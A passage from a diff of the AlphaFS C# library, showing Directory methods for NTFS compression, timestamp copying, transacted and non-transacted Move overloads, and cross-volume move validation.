Device.ToggleCompressionCore(transaction, true, path, true, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Enables NTFS compression of the specified directory and the files in it.</summary>
/// <remarks>This method enables the directory-compression attribute. It will not compress the current contents of the directory. However, newly created files and directories will be compressed.</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path to a directory to compress.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void EnableCompressionTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)
{
Device.ToggleCompressionCore(transaction, true, path, true, pathFormat);
}
}
}

View File

@@ -0,0 +1,47 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
private static void CopyFolderTimestamps(CopyMoveArguments cma)
{
// TODO 2018-01-09: Not 100% yet with local + UNC paths.
var dstLp = cma.SourcePathLp.ReplaceIgnoreCase(cma.SourcePathLp, cma.DestinationPathLp);
// Traverse the source folder, processing only folders.
foreach (var fseiSource in EnumerateFileSystemEntryInfosCore<FileSystemEntryInfo>(true, cma.Transaction, cma.SourcePathLp, Path.WildcardStarMatchAll, null, null, cma.DirectoryEnumerationFilters, PathFormat.LongFullPath))
File.CopyTimestampsCore(cma.Transaction, true, fseiSource.LongFullPath, Path.CombineCore(false, dstLp, fseiSource.FileName), false, PathFormat.LongFullPath);
// Process the root directory, the given path.
File.CopyTimestampsCore(cma.Transaction, true, cma.SourcePathLp, cma.DestinationPathLp, false, PathFormat.LongFullPath);
// TODO: When enabled on Computer, FindFirstFile will change the last accessed time.
}
}
}

View File

@@ -0,0 +1,216 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
#region .NET
/// <summary>Moves a file or a directory and its contents to a new location.</summary>
/// <remarks>
/// <para>This method does not work across disk volumes.</para>
/// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>
/// <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>
/// </remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="sourcePath">The source directory path.</param>
/// <param name="destinationPath">The destination directory path.</param>
[SecurityCritical]
public static void Move(string sourcePath, string destinationPath)
{
CopyMoveCore(new CopyMoveArguments
{
SourcePath = sourcePath,
DestinationPath = destinationPath,
MoveOptions = MoveOptions.None
});
}
#endregion // .NET
/// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location.</summary>
/// <remarks>
/// <para>This method does not work across disk volumes.</para>
/// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>
/// <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>
/// </remarks>
/// <returns>A <see cref="CopyMoveResult"/> class with details of the Move action.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="sourcePath">The source directory path.</param>
/// <param name="destinationPath">The destination directory path.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static CopyMoveResult Move(string sourcePath, string destinationPath, PathFormat pathFormat)
{
return CopyMoveCore(new CopyMoveArguments
{
SourcePath = sourcePath,
DestinationPath = destinationPath,
MoveOptions = MoveOptions.None,
PathFormat = pathFormat
});
}
/// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref="MoveOptions"/> can be specified.</summary>
/// <remarks>
/// <para>This method does not work across disk volumes unless <paramref name="moveOptions"/> contains <see cref="MoveOptions.CopyAllowed"/>.</para>
/// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>
/// <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>
/// </remarks>
/// <returns>A <see cref="CopyMoveResult"/> class with details of the Move action.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="sourcePath">The source directory path.</param>
/// <param name="destinationPath">The destination directory path.</param>
/// <param name="moveOptions"><see cref="MoveOptions"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>
[SecurityCritical]
public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions)
{
return CopyMoveCore(new CopyMoveArguments
{
SourcePath = sourcePath,
DestinationPath = destinationPath,
MoveOptions = moveOptions
});
}
/// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref="MoveOptions"/> can be specified.</summary>
/// <remarks>
/// <para>This method does not work across disk volumes unless <paramref name="moveOptions"/> contains <see cref="MoveOptions.CopyAllowed"/>.</para>
/// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>
/// <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>
/// </remarks>
/// <returns>A <see cref="CopyMoveResult"/> class with details of the Move action.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="sourcePath">The source directory path.</param>
/// <param name="destinationPath">The destination directory path.</param>
/// <param name="moveOptions"><see cref="MoveOptions"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, PathFormat pathFormat)
{
return CopyMoveCore(new CopyMoveArguments
{
SourcePath = sourcePath,
DestinationPath = destinationPath,
MoveOptions = moveOptions,
PathFormat = pathFormat
});
}
/// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref="MoveOptions"/> can be specified,
/// and the possibility of notifying the application of its progress through a callback function.
/// </summary>
/// <remarks>
/// <para>This method does not work across disk volumes unless <paramref name="moveOptions"/> contains <see cref="MoveOptions.CopyAllowed"/>.</para>
/// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>
/// <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>
/// </remarks>
/// <returns>A <see cref="CopyMoveResult"/> class with details of the Move action.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="sourcePath">The source directory path.</param>
/// <param name="destinationPath">The destination directory path.</param>
/// <param name="moveOptions"><see cref="MoveOptions"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>
/// <param name="progressHandler">A callback function that is called each time another portion of the directory has been moved. This parameter can be <c>null</c>.</param>
/// <param name="userProgressData">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>
[SecurityCritical]
public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)
{
return CopyMoveCore(new CopyMoveArguments
{
SourcePath = sourcePath,
DestinationPath = destinationPath,
MoveOptions = moveOptions,
ProgressHandler = progressHandler,
UserProgressData = userProgressData
});
}
/// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref="MoveOptions"/> can be specified,
/// and the possibility of notifying the application of its progress through a callback function.
/// </summary>
/// <remarks>
/// <para>This method does not work across disk volumes unless <paramref name="moveOptions"/> contains <see cref="MoveOptions.CopyAllowed"/>.</para>
/// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>
/// <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>
/// </remarks>
/// <returns>A <see cref="CopyMoveResult"/> class with details of the Move action.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="sourcePath">The source directory path.</param>
/// <param name="destinationPath">The destination directory path.</param>
/// <param name="moveOptions"><see cref="MoveOptions"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>
/// <param name="progressHandler">A callback function that is called each time another portion of the directory has been moved. This parameter can be <c>null</c>.</param>
/// <param name="userProgressData">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)
{
return CopyMoveCore(new CopyMoveArguments
{
SourcePath = sourcePath,
DestinationPath = destinationPath,
MoveOptions = moveOptions,
ProgressHandler = progressHandler,
UserProgressData = userProgressData,
PathFormat = pathFormat
});
}
}
}

View File

@@ -0,0 +1,223 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location.</summary>
/// <remarks>
/// <para>This method does not work across disk volumes.</para>
/// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>
/// <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>
/// </remarks>
/// <returns>A <see cref="CopyMoveResult"/> class with details of the Move action.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="sourcePath">The source directory path.</param>
/// <param name="destinationPath">The destination directory path.</param>
[SecurityCritical]
public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath)
{
return CopyMoveCore(new CopyMoveArguments
{
Transaction = transaction,
SourcePath = sourcePath,
DestinationPath = destinationPath
});
}
/// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location.</summary>
/// <remarks>
/// <para>This method does not work across disk volumes.</para>
/// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>
/// <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>
/// </remarks>
/// <returns>A <see cref="CopyMoveResult"/> class with details of the Move action.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="sourcePath">The source directory path.</param>
/// <param name="destinationPath">The destination directory path.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat)
{
return CopyMoveCore(new CopyMoveArguments
{
Transaction = transaction,
SourcePath = sourcePath,
DestinationPath = destinationPath,
PathFormat = pathFormat
});
}
/// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref="MoveOptions"/> can be specified.</summary>
/// <remarks>
/// <para>This method does not work across disk volumes unless <paramref name="moveOptions"/> contains <see cref="MoveOptions.CopyAllowed"/>.</para>
/// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>
/// <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>
/// </remarks>
/// <returns>A <see cref="CopyMoveResult"/> class with details of the Move action.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="sourcePath">The source directory path.</param>
/// <param name="destinationPath">The destination directory path.</param>
/// <param name="moveOptions"><see cref="MoveOptions"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>
[SecurityCritical]
public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions)
{
return CopyMoveCore(new CopyMoveArguments
{
Transaction = transaction,
SourcePath = sourcePath,
DestinationPath = destinationPath,
MoveOptions = moveOptions
});
}
/// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref="MoveOptions"/> can be specified.</summary>
/// <remarks>
/// <para>This method does not work across disk volumes unless <paramref name="moveOptions"/> contains <see cref="MoveOptions.CopyAllowed"/>.</para>
/// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>
/// <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>
/// </remarks>
/// <returns>A <see cref="CopyMoveResult"/> class with details of the Move action.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="sourcePath">The source directory path.</param>
/// <param name="destinationPath">The destination directory path.</param>
/// <param name="moveOptions"><see cref="MoveOptions"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, PathFormat pathFormat)
{
return CopyMoveCore(new CopyMoveArguments
{
Transaction = transaction,
SourcePath = sourcePath,
DestinationPath = destinationPath,
MoveOptions = moveOptions,
PathFormat = pathFormat
});
}
/// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref="MoveOptions"/> can be specified,
/// and the possibility of notifying the application of its progress through a callback function.
/// </summary>
/// <remarks>
/// <para>This method does not work across disk volumes unless <paramref name="moveOptions"/> contains <see cref="MoveOptions.CopyAllowed"/>.</para>
/// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>
/// <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>
/// </remarks>
/// <returns>A <see cref="CopyMoveResult"/> class with details of the Move action.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="sourcePath">The source directory path.</param>
/// <param name="destinationPath">The destination directory path.</param>
/// <param name="moveOptions"><see cref="MoveOptions"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>
/// <param name="progressHandler">A callback function that is called each time another portion of the directory has been moved. This parameter can be <c>null</c>.</param>
/// <param name="userProgressData">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>
[SecurityCritical]
public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)
{
return CopyMoveCore(new CopyMoveArguments
{
Transaction = transaction,
SourcePath = sourcePath,
DestinationPath = destinationPath,
MoveOptions = moveOptions,
ProgressHandler = progressHandler,
UserProgressData = userProgressData
});
}
/// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref="MoveOptions"/> can be specified,
/// and the possibility of notifying the application of its progress through a callback function.
/// </summary>
/// <returns>A <see cref="CopyMoveResult"/> class with the status of the Move action.</returns>
/// <remarks>
/// <para>This method does not work across disk volumes unless <paramref name="moveOptions"/> contains <see cref="MoveOptions.CopyAllowed"/>.</para>
/// <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>
/// <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>
/// </remarks>
/// <returns>A <see cref="CopyMoveResult"/> class with details of the Move action.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="sourcePath">The source directory path.</param>
/// <param name="destinationPath">The destination directory path.</param>
/// <param name="moveOptions"><see cref="MoveOptions"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>
/// <param name="progressHandler">A callback function that is called each time another portion of the directory has been moved. This parameter can be <c>null</c>.</param>
/// <param name="userProgressData">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)
{
return CopyMoveCore(new CopyMoveArguments
{
Transaction = transaction,
SourcePath = sourcePath,
DestinationPath = destinationPath,
MoveOptions = moveOptions,
ProgressHandler = progressHandler,
UserProgressData = userProgressData,
PathFormat = pathFormat
});
}
}
}

View File

@@ -0,0 +1,95 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
[SecurityCritical]
internal static CopyMoveArguments ValidateMoveAction(CopyMoveArguments cma)
{
// Determine if a Move action or Copy action-fallback is possible.
cma.IsCopy = false;
cma.EmulateMove = false;
// Compare the root part of both paths.
var equalRootPaths = Path.GetPathRoot(cma.SourcePathLp, false).Equals(Path.GetPathRoot(cma.DestinationPathLp, false), StringComparison.OrdinalIgnoreCase);
// Method Volume.IsSameVolume() returns true when both paths refer to the same volume, even if one of the paths is a UNC path.
// For example, src = C:\TempSrc and dst = \\localhost\C$\TempDst
var isSameVolume = equalRootPaths || Volume.IsSameVolume(cma.SourcePathLp, cma.DestinationPathLp);
var isMove = isSameVolume && equalRootPaths;
if (!isMove)
{
// A Move() can be emulated by using Copy() and Delete(), but only if the MoveOptions.CopyAllowed flag is set.
isMove = File.HasCopyAllowed(cma.MoveOptions);
// MSDN: .NET3.5+: IOException: An attempt was made to move a directory to a different volume.
if (!isMove)
NativeError.ThrowException(Win32Errors.ERROR_NOT_SAME_DEVICE, cma.SourcePathLp, cma.DestinationPathLp);
}
// The MoveFileXxx methods fail when:
// - A directory is being moved;
// - One of the paths is a UNC path, even though both paths refer to the same volume.
// For example, src = C:\TempSrc and dst = \\localhost\C$\TempDst
if (isMove)
{
var srcIsUncPath = Path.IsUncPathCore(cma.SourcePathLp, false, false);
var dstIsUncPath = Path.IsUncPathCore(cma.DestinationPathLp, false, false);
isMove = srcIsUncPath == dstIsUncPath;
}
isMove = isMove && isSameVolume && equalRootPaths;
// Emulate Move().
if (!isMove)
{
cma.MoveOptions = null;
cma.IsCopy = true;
cma.EmulateMove = true;
cma.CopyOptions = CopyOptions.None;
}
return cma;
}
}
}

View File

@@ -0,0 +1,69 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>Compress/decompress Non-/Transacted files/directories.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="searchPattern">
/// The search string to match against the names of directories in <paramref name="path"/>.
/// This parameter can contain a combination of valid literal path and wildcard
/// (<see cref="Path.WildcardStarMatchAll"/> and <see cref="Path.WildcardQuestion"/>) characters, but does not support regular expressions.
/// </param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
/// <param name="compress"><c>true</c> compress, when <c>false</c> decompress.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static void CompressDecompressCore(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions? options, DirectoryEnumerationFilters filters, bool compress, PathFormat pathFormat)
{
var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);
if (null == options)
options = DirectoryEnumerationOptions.None;
// Traverse the source folder, processing files and folders.
foreach (var fsei in EnumerateFileSystemEntryInfosCore<FileSystemEntryInfo>(null, transaction, pathLp, searchPattern, null, options | DirectoryEnumerationOptions.AsLongPath, filters, PathFormat.LongFullPath))
Device.ToggleCompressionCore(transaction, fsei.IsDirectory, fsei.FullPath, compress, PathFormat.LongFullPath);
// Process the root directory, the given path.
Device.ToggleCompressionCore(transaction, true, pathLp, compress, PathFormat.LongFullPath);
}
}
}

View File

@@ -0,0 +1,145 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>Copy/move a Non-/Transacted file or directory including its children to a new location, <see cref="CopyOptions"/> or <see cref="MoveOptions"/> can be specified,
/// and the possibility of notifying the application of its progress through a callback function.
/// </summary>
/// <returns>A <see cref="CopyMoveResult"/> class with the status of the Copy or Move action.</returns>
/// <remarks>
/// <para>Option <see cref="CopyOptions.NoBuffering"/> is recommended for very large file transfers.</para>
/// <para>You cannot use the Move method to overwrite an existing file, unless <paramref name="cma.moveOptions"/> contains <see cref="MoveOptions.ReplaceExisting"/>.</para>
/// <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an IOException.</para>
/// </remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <exception cref="PlatformNotSupportedException">The operating system is older than Windows Vista.</exception>
[SecurityCritical]
internal static CopyMoveResult CopyMoveCore(CopyMoveArguments cma)
{
#region Setup
var fsei = File.GetFileSystemEntryInfoCore(cma.Transaction, false, cma.SourcePath, true, cma.PathFormat);
var isFolder = null == fsei || fsei.IsDirectory;
// Directory.Move is applicable to both files and folders.
cma = File.ValidateFileOrDirectoryMoveArguments(cma, false, isFolder);
